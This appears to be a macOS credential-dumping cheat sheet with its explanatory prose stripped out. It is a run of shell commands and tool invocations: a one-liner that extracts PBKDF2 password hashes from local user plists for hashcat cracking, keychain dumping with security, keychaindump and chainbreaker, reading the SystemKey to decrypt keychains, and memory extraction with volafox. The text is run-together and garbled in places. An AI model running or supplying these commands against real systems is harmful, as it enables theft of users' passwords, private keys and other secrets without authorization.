$ git clone https://github.com/moonD4rk/HackBrowserData$ cd HackBrowserData/cmd/hack-browser-data$ CGO_ENABLED=1 go build

/var/db/dslocal/nodes/Default/users/.

for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo"$l"; defaults read "$l"; fi; done

-m7100(macOSPBKDF2-SHA512)

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf\$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTEDSHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; elsebase64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo "";done'

#securitysecuirty dump-trust-settings [-s] [-d] #List certificatessecurity list-keychains #List keychain dbssecurity list-smartcards #List smartcardssecurity dump-keychain | grep -A 5 "keychain" | grep -v "version" #Listkeychains entriessecurity dump-keychain -d #Dump all the info, included secrets (the user willbe asked for his password, even if root)

sudo vmmap <securityd PID> | grep MALLOC_TINY

sudo ./keychaindump

Hashed Keychain password, suitable for cracking with hashcat or John the RipperInternet PasswordsGeneric PasswordsPrivate KeysPublic KeysX509 CertificatesSecure NotesAppleshare Passwords

#Dump all keys of the keychain (without the passwords)python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

# First, get the keychain decryption key# To get this decryption key you need to be root and SIP must be disabledhexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo## Use the previous key to decrypt the passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain

# Get the keychain hashpython2.7 chainbreaker.py --dump-keychain-password-hash/Library/Keychains/System.keychain# Crack it with hashcathashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt# Use the key to decrypt the passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain

#Use volafox (https://github.com/n0fate/volafox) to extract possible keychainpasswords# Unformtunately volafox isn't working with the latest versions of MacOSpython vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump#Try to extract the passwords using the extracted keychain passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain

#Prompt to ask for the passwordpython2.7 chainbreaker.py --dump-all --password-prompt/Users/<username>/Library/Keychains/login.keychain-db

https://github.com/macmade/KeychainCracker